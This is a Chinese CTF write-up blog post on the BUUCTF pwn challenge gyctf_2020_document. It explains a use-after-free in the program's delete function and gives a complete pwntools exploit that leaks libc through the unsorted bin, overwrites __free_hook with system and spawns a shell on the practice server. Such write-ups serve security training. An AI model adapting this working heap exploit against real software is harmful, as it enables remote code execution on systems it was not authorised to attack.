gyctf_2020_document【buu刷题】

gyctf_2020_document

惯例我们先来checksec一下

请添加图片描述

保护全开的64位程序 我们放进ida64里看看

一道很标准的菜单题 1添加堆 2展示堆 3修改堆 4删除堆

main函数没什么营养 就不贴了

1 添加堆

需要注意的是我们malloc了两个chunk 一个是大小为0x8的chunk其中存储了大小为0x80的chunk的addr

请添加图片描述

2 展示堆

很标准的打印堆内容的函数

请添加图片描述

3 修改堆

对于一个chunk只能修改一次

请添加图片描述

4 删除堆

漏洞点在此处

需要注意的是未将指针归零 存在uaf漏洞 且由于没有free 大小为0x20的chunk

请添加图片描述

那么我们的思路就很简单了

首先我们将申请两个chunk 其中chunk1用于防止与topchunk合并 并且将chunk1的name设置为“/bin/sh\x00”以便我们后续调用 然后我们将chunk0 delete掉由于未将指针归零 且chunk的大小为0x80会被放进unsortedbin中因此我们可以利用unsortedbin leak来泄露堆的偏移 进而我们就可以获得system和__free_hook的地址了

add('a'*8,'b'*0x70)                       #chunk 0
add("/bin/sh\x00",'c'*0x70)		  #chunk 1
delete(0)
show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-88-0x10-libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
free_hook_addr=libc_base+libc.sym['__free_hook']
print(hex(system))
print(hex(free_hook_addr))

接下来我们再次申请两个chunk 其中我们申请的两个chunk的maclloc(0x10)都是在unsortedbin中切割的 由于我们只能修改原本unsortedbin的内容部分0x10-0x80中的内容因此我们的chunk2的malloc0x10用于填充上面的内容 儿chunk3的malloc0x10就是我们需要修改的地方 我们将其篡改为freehook-0x10的地址这样我们就可以在edit chunk3的时候篡改freehook中的内容了

add('d'*0x8,'e'*0x70)			  #chunk 2
#when we add chunk 2 we will malloc the 0x8 chunk at the unsortedbin(chunk 0) so we can edit chunk 0 to edit the v3 of chunk 2 
add('f'*0x8,'g'*0x70)			  #chunk 3
payload=p64(0)+p64(21)+p64(free_hook_addr-0x10)+p64(1)+p64(0)+p64(51)+b'a'*0x40
edit(0,payload)

我们将freehook中的内容篡改为system 然后delete chunk1 即我们执行了system(“/bin/sh”)

edit(3,p64(system)+'\x00'*0x68)
delete(1)
io.interactive()

exp:

from pwn import *
context.log_level="debug"
#io=process("./gyctf_2020_document")
io=remote('node4.buuoj.cn',29207)
elf=ELF("./gyctf_2020_document")
libc=ELF("./libc-2.23.so")

def add(name,info):
	io.recvuntil(b"Give me your choice : \n")
	io.sendline(b"1")
	io.recvuntil(b"input name\n")
	io.send(name)
	io.recvuntil(b"input sex\n")
	io.sendline("W")
	io.recvuntil("input information\n")
	io.send(info)

def show(idx):
	io.recvuntil(b"Give me your choice : \n")
	io.sendline(b"2")
	io.recvuntil(b"Give me your index : \n")
	io.sendline(str(idx))

def delete(idx):
	io.recvuntil(b"Give me your choice : \n")
	io.sendline(b"4")
	io.recvuntil(b"Give me your index : \n")
	io.sendline(str(idx))
	

def edit(idx,info):
	io.recvuntil(b"Give me your choice : \n")
	io.sendline(b"3")
	io.recvuntil(b"Give me your index : \n")
	io.sendline(str(idx))
	io.recvuntil(b"Are you sure change sex?\n")
	io.sendline(b"Y")
	io.recvuntil(b"Now change information\n")
	io.send(info)

add('a'*8,'b'*0x70)                       #chunk 0
add("/bin/sh\x00",'c'*0x70)		  #chunk 1
delete(0)
show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-88-0x10-libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
free_hook_addr=libc_base+libc.sym['__free_hook']
print(hex(system))
print(hex(free_hook_addr))
#pause()
add('d'*0x8,'e'*0x70)			  #chunk 2
#when we add chunk 2 we will malloc the 0x8 chunk at the unsortedbin(chunk 0) so we can edit chunk 0 to edit the v3 of chunk 2 
add('f'*0x8,'g'*0x70)			  #chunk 3
payload=p64(0)+p64(21)+p64(free_hook_addr-0x10)+p64(1)+p64(0)+p64(51)+b'a'*0x40
edit(0,payload)
edit(3,p64(system)+'\x00'*0x68)
delete(1)
io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值